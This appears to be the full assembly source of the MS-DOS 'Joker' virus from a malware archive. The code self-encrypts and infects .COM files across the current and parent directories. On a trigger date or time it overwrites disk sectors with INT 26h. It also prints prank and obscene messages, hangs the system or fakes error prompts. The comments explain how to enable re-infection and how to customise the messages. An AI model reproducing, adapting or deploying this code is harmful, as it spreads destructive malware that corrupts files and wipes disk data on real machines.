MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.joker.asm
2021-01-12 17:47:04 -06:00

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title " Joker! virus. Written by The BOOT SECTOR Infector ... "
;
; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original
; had multiple programming errors in it that kept it from replicating.
; My version is much more successful.
;
page 255,80
code segment word public 'code'
assume cs:code,ds:code
org 100h
main proc;edure
;EQUates...
idc equ 69h ;ID character - (note: 69)
cr equ 13 ;ASCII for carriage return
lf equ 10 ;ASCII for line feed
;End codes. These determine what happens after the string is displayed.
terminate equ 0 ;Terminate program after display
halt equ 1 ;Cause the system to hang after display
SimulateCritErr equ 2 ;Simulate the critical error handler
return2host equ 3 ;Resume program immediately
FlashFloppy equ 4 ;Wait for a key, then reset Drive A:
WaitKey equ 5 ;Wait for a key, then resume program
PauseKey equ 6 ;Same thing, but uses a pause message
StackError equ 7 ;Cause a stack overflow (halts system)
tof: ;Top-Of-File
jmp begin ;Skip over program
idchar: db idc ;ID character
HostProgram: nop ;First run copy only!
nop ;First run copy only!
first_four: nop ;First run copy only!
address: int 20h ;First run copy only!
check: nop ;First run copy only!
begin: call nextline ;Push IP+3 onto stack
nextline: pop bp ;mov bp,ip
sub bp,offset nextline ;bp=disp. for mem locs
push ax ;Save AX
call cryptor ;Decrypt
jmp short retloc ;Continue program
cryptor: mov al,[bp+offset encrypt_val] ;encrypt val
lea si,[bp+offset toec] ;Top Of Encrypted Code
mov cx,offset eoec-offset toec ;Length of " "
cryptorloop: xor [si],al ;en/de crypt
rol al,cl ;change code #
inc si ;Next char please!
loop cryptorloop ;loop if necessary
ret ;Return to caller
infect: call cryptor ;Encrypt code
pop cx ;Restore CX for INT 21
int 21h ;Call DOS
call cryptor ;Decrypt code
ret ;Go back
toec:;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Top Of Encrypted Code
InfectIt: push cx ;Save CX for sub
jmp infect
retloc: pop ax ;Restore AX
xor di,di ;DI = 0
cli ;Disable interrupts
mov ss,di ;Set up stack at:
mov sp,2F0h ; 0000:02F0
sti ;Enable interrupts
mov si,96h ;Vector for INT 24h
mov bx,ss:[si] ;BX = offset in segment
mov cx,ss:[si+2] ;CX = segment
lea dx,[bp+offset int24handler] ;CS:DX -} local handler
mov ss:[si],DX ;Save offset
mov ss:[si+2],cs ;Save segment
mov si,es:[di+2F8h] ;Check operation mode
cmp si,4643h ;'CF' if already TSRed
jne GoOn ;Nope, jmp
jmp return ;Yes, don't do anything
GoOn: mov cs:[di+4Ch],bx ;use unused part of PSP
mov cs:[di+4Eh],cx ; to save BX and CX
push cs ;Copy CS ...
pop es ; ... to DS
mov byte ptr [bp+offset infected],0 ;Reset infection count
mov byte ptr [bp+offset max2kill],3 ;Stop after 3 or less
GoOn2: lea si,[bp+offset first_four] ;Original first 4 bytes
mov di,offset tof ;TOF never changes
cld ;Read left-to-right
movsw ;Copy the 4 bytes
movsw ;Copy the 4 bytes
mov ah,1Ah ;Set DTA address ...
lea dx,[bp+offset DTA] ; ... to *our* DTA
int 21h ;Call DOS to set DTA
mov ah,4Eh ;Find First ASCIIZ
lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0
lea si,[bp+offset filename] ;Point to file
push dx ;Save DX
jmp short continue ;Continue...
return: mov ah,1ah ;Set DTA address ...
mov dx,80h ; ... to default DTA
int 21h ;Call DOS to set DTA
xor di,di ;DI= 0
mov es,di ;ES= 0
mov si,96h ;Vector for INT 24h
mov bx, cs:[di+4Ch] ;Restore from saved BX
mov word ptr es:[si+0], bx ;Place back into vector
mov cx, cs:[di+4Eh] ;Restore from saved CX
mov word ptr es:[si+2], cx ;Place back into vector
push cs ;Move CS ...
pop es ; ... to ES
mov ax,[bp+offset SavedAX] ;Restore AX
xor bx,bx ;BX= 0
mov cx,bx ;CX= 0
mov dx,cx ;DX= 0
mov si,dx ;SI= 0
mov di,si ;DI= 0
mov sp,0FFFEh ;SP= FFFEh (normal)
mov bp,100h ;BP= 100h (RETurn addr)
push bp ; Put on stack
mov bp,ax ;BP= 0
ret ;JMP to 100h
nextfile: or bx,bx ;Did we open the file?
jz skipclose ;No, so don't close it
mov ah,3Eh ;Close file
int 21h ;Call DOS to close it
xor bx,bx ;Set BX back to 0
skipclose: mov ah,4Fh ;Find Next ASCIIZ
continue: pop dx ;Restore DX
push dx ;Re-save DX
xor cx,cx ;CX= 0
xor bx,bx
int 21h ;Find First/Next
jnc skipjmp
jmp NoneLeft ;Out of files
skipjmp: mov ax,3D02h ;open file
mov dx,si ;point to filespec
int 21h ;Call DOS to open file
jc nextfile ;Next file if error
mov bx,ax ;get the handle
mov ah,3Fh ;Read from file
mov cx,4 ;Read 4 bytes
lea dx,[bp+offset first_four] ;Read in the first 4
int 21h ;Call DOS to read
cmp byte ptr [bp+offset check],idc ;Already infected?
je nextfile ;Yep, try again ...
;NOTE: Delete the two lines above if you want it to re-infected programs.
cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE?
je nextfile ;Yep, maybe next time!
mov ax,4202h ;LSeek to EOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
cmp ah,0F8h ;Longer than 62K?
ja nextfile ;Yep, try again...
mov [bp+offset addr],ax ;Save call location
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;Point to buffer
int 21h ;Save the first 4 bytes
mov ah,[bp+offset encrypt_val] ;Get code number
inc ah ;add 1
adc ah,0 ;increment if it's zero
mov [bp+offset encrypt_val],ah ;Save new code number
mov ah,40h ;Write to file
mov cx,offset eof-offset begin ;Length of target code
lea dx,[bp+offset begin] ;Point to virus start
call InfectIt ;Exempt from encryption
ComeBackHere: mov ax,4200h ;LSeek to TOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
mov ax,[bp+offset addr] ;Retrieve location
inc ax ;Adjust location
mov [bp+offset address],ax ;address to call
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst.
mov byte ptr [bp+offset check],idc ;EOFMARK
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;4 bytes are at [DX]
int 21h ;Write to file
inc byte ptr [bp+offset infected] ;increment counter
dec byte ptr [bp+offset max2kill] ;decrement counter
jz TheEnd ;If 0 then End
inc byte ptr [bp+offset encrypt_val] ;change code #
adc byte ptr [bp+offset encrypt_val],0 ;adjust if 0
jmp nextfile ;Next victim!
NoneLeft: cmp byte ptr [bp+offset infected],3 ;At least 3 infected?
jae TheEnd ;The party's over!
mov di,100h ;DI= 100h
cmp word ptr [di],20CDh ;an INT 20h?
je TheEnd ;Don't go to prev. dir.
lea dx,[bp+offset prevdir] ;'..'
mov ah,3Bh ;Set current directory
int 21h ;CHDIR ..
jc TheEnd ;We're through!
mov ah,4Eh
jmp continue ;Start over in new dir
TheEnd: xor di,di ;DI= 0
mov es,di ;ES= 0
mov ah,2ah ;Get date
int 21h ;Do it
cmp dl,4 ;4th of the month?
jne test2 ;Nope, second test
cmp dh,7 ;July?
jne test2 ;Nope, second test
xor ax,ax ;Sector 0
jmp Kill ;Kill the disk now...
test2: mov ah,2ch ;Get time
int 21h ;Do it
or cl,cl ;On the hour? (x:00 xM)
jnz GiveUp ;Return to program
cmp ch,6 ;Midnight to 5 AM ???
jnl GiveUp ;Return to program
add cl,ch ;Add first number
mov ax,cx ;Transfer to AX
cbw ;Zero out AH
add al,dh ;Add DL to AL
adc al,dl ;Add DL and carry flag
adc ah,0 ;Add carry to AH
or ax,ax ;AX = 0 ???
jnz Kill ;Kill the disk now...
inc ax ;Well, adjust first...
Kill: mov dx,ax ;Sector number
mov cx,1 ;One at a time....
xor bx,bx ;Point at PSP
mov ah,19h ;Get current disk
int 21h ;Call DOS to ^
int 26h ;Now kill the disk
GiveUp: mov bx,offset message_table ;point to table
mov ah,2ch ;Get time
int 21h ;Call DOS to ^
inc dh ;(0-59)
timeloop: cmp dh,msgs ;mapped yet?
jl timedone ;Yes, jump
sub dh,msgs ;try to map it
jmp short timeloop ;and check out work
timedone: mov al,dh ;AL gets msg #
mov cl,al ;Save in CL for CritErr
cbw ;AH gets 0
shl ax,1 ;AX = AX * 2
add bx,ax ;BX = index
mov si,[bx] ;SI points to string
mov ch,[si-1] ;CH is technique #
mov dx,si ;DX points to string
mov ah,9 ;Display string
int 21h ;Call DOS to ^
cmp ch,terminate ;Terminate program?
je TerminateProg ;Nope, next test
cmp ch,halt ;Halt program?
je $ ;Hang system if ch=halt
cmp ch,SimulateCritErr ;Simulate CritErr?
je simulate ;yes, go do it
cmp ch,Return2host ;Return to host?
je ResumeProgram ;yes, go do it
cmp ch,FlashFloppy ;Flash drive A:?
je FlashFlop ;Yes, go do it
cmp ch,WaitKey ;Wait for keypress?
je zwait ;Yes, go do it
cmp ch,PauseKey ;Pause message w/ wait?
je zpause ;Yes, go do it
cmp ch,StackError ;Stack overflow?
je StackErr ;Yes, go do it
;Invalid code, assume Return2host
ResumeProgram: jmp return ;Return to caller
StackErr: call $ ;Cause stack overflow
TerminateProg: int 20h ;Yep, all done!
simulate: lea dx,[bp+offset ARIFmsg] ;Abort, Retry ...
mov ah,9 ;Print string
int 21h ;Call DOS to ^
mov ah,1 ;Input a char
int 21h ;Call DOS to ^
lea dx,[bp+offset crlf] ;crlf
mov ah,9 ;Print string
int 21h ;Call DOS to ^
cmp al,'a' ;Uppercase?
jb uppercase ;Nope, jump
sub al,' ' ;Yes, make uppercase
uppercase: cmp al,'A' ;Abort?
je terminateprog ;Yep, go do it.
cmp al,'R' ;Retry?
jne zskip ;skip over "retry" code
lea dx,[bp+offset crlf] ;Point to crlf
mov ah,9 ;Print string
int 21h ;Call DOS to ^
mov dh,cl ;Restore DH from CL
jmp timedone ;Reprint error
zskip: cmp al,'I' ;Ignore?
je ResumeProgram ;Return to host program
cmp al,'F' ;Fail?
jne simulate ;Invalid response
lea dx,[bp+offset fail24] ;Point to fail string
mov ah,9 ;Print string
int 21h ;Call DOS to ^
int 20h ;Terminate program
FlashFlop: mov ah,1 ;Wait for keypress
int 21h ;Call DOS to ^
xor ax,ax ;Drive A:
mov cx,1 ;Read 1 sector
mov dx,ax ;Start at boot sector
lea bx,[bp+offset boot_sector] ;BX points to buffer
int 25h ;Flash light on A:
jmp short ResumeProgram ;Resume if no error
zpause: lea dx,[bp+offset pause] ;Point to pause message
mov ah,9 ;Print string
int 21h ;Call DOS to ^
zwait:
mov ah,1 ;Wait for keypress
int 21h ;Call DOS to ^
jmp short ResumeProgram ;Go on...
ARIFmsg db cr,lf,'Abort, Retry, Ignore, Fail?$'
fail24 db cr,lf,cr,lf,'Fail on INT 24'
crlf db cr,lf,'$'
message_table:
dw offset msg1
dw offset msg2
dw offset msg3
dw offset msg4
dw offset msg5
dw offset msg6
dw offset msg7
dw offset msg8
dw offset msg9
dw offset msg10
dw offset msg11
dw offset msg12
dw offset msg13
dw offset msg14
dw offset msg15
dw offset msg16
dw offset msg17
dw offset msg18
dw offset msg19
dw offset msg20
msgs db 20
; I tried to make it as simple as possible to change the messages
; and add/delete them. Each message is in the format:
;
; db [technique]
;[label] db [Text]
;
; Where [technique] is one of the 8 codes shown at the beginning of
; this file (terminate, halt, etc.). This determines what the virus
; should do after printing the message.
; [label] is in the form "msg##" where ## is a number from 1 to
; "msgs". "msgs" is defined immediately before this
; comment block.
; [text] is a combination of text and ASCII codes, terminated by
; either a '$' or a ,36.
;
; If you change the number of messages the virus has, you should also
; add/remove lines from the offset table and change the "msgs"
; data byte appropriately. Let's say for instance that you want
; to remove "Program too big to fit in memory.":
; 1) Delete the line(s) with the message and the line
; immediately before it.
; 2) Move message #20 up to message #2's position and
; change its label from "msg20" to "msg2".
; 3) Delete the line "dw offset msg20" from the offset
; table.
; 4) Change the line before this comment block to:
; "msgs db 19"
;
; Later!
; -The BOOT SECTOR Infector ...
;
db FlashFloppy ;Waits for key, then flashes drive A:
msg5 db 'I',39,'m hungry! Insert PIZZA & BEER into drive A: and',cr,lf
pause db 'Strike any key when ready... $'
db SimulateCritErr ;Prints ARIF message and responds appropriately
msg1 db 'Impotence error reading user',39,'s dick$'
db terminate ;Ends the program immediately
msg2 db 'Program too big to fit in memory',cr,lf,'$'
db halt ;Halts the system
msg3 db 'Cannot load COMMAND, system halted',cr,lf,'$'
db terminate ;Ends the program immediately
msg4 db 'I',39,'m sorry, Dave.... but I',39,'m afraid'
db ' I can',39,'t do that!',cr,lf,'$'
db WaitKey ;Waits for a keypress, then runs the program
msg6 db 'Format another? (Y/N)? $'
db StackError ;Generates a stack overflow (halts the system)
msg7 db 'Damn it! I told you not to touch that!$'
db terminate ;Ends the program immediately
msg8 db 'Suck me!',cr,lf,'$'
db SimulateCritErr ;Prints ARIF message and responds appropriately
msg9 db 'Cocksucker At Keyboard error reading device CON:$'
db terminate ;Ends the program immediately
msg10 db 7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf
db 'I',39,'m sorry, but your call cannot be completed as dialed.'
db cr,lf,'Please hang up & try your call again.',cr,lf,'$'
db terminate ;Ends the program immediately
msg11 db 'No!',cr,lf,cr,lf,'$'
db halt ;Halts the system
msg12 db 'Panic kernal mode interrupt$'
db WaitKey ;Waits for a keypress, then runs the program
msg13 db 'CONNECT 1200<30>',cr,lf,cr,lf,'$'
db return2host ;Runs host program immediately
msg14 db 'Okay, okay! Be patient! ...',cr,lf,'$'
db terminate ;Ends the program immediately
msg15 db 'And if I refuse?',cr,lf,'$'
db return2host ;Runs host program immediately
msg16 db 'Fuck the world and its followers!',cr,lf,'$'
db return2host ;Runs host program immediately
msg17 db 'You are pathetic, man... you know that?',cr,lf,'$'
db terminate ;Ends the program immediately
msg18 db 'Cum on! Talk DIRTY to me !!!',cr,lf,'$'
db terminate ;Ends the program immediately
msg19 db 'Your coprocessor wears floppy disks!',cr,lf,'$'
db PauseKey ;Waits for keypress (SAKWR), then runs host prg
msg20 db 'Joker! ver <20><> by TBSI!',cr,lf
db 'Remember! EVERYTHING',39,'s bigger in Texas!',cr,lf,'$'
int24handler: xor al,al ;Ignore the error
iret ;Interrupt return
filespec: db '*.COM',0 ;File specification
prevdir: db '..',0 ;previous directory
max2kill db 3 ;max. files to infect
eoec:;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>End Of Encrypted Code
VersionNumber dw 100h ;Version 1.00
encrypt_val db 0 ;1st-run copy only
; None of this information is included in the virus's code. It is only used
; during the search/infect routines and it is not necessary to preserve it
; in between calls to them.
eof:
DTA:
db 21 dup (?) ;internal search's data
attribute db ? ;attribute
file_time db 2 dup (?) ;file's time stamp
file_date db 2 dup (?) ;file's date stamp
file_size db 4 dup (?) ;file's size
filename db 13 dup (?) ;filename
SavedAX dw ? ;Used to save AX
infected db ? ;infection count
addr dw ? ;Address
boot_sector:
main endp;rocedure
code ends;egment
end main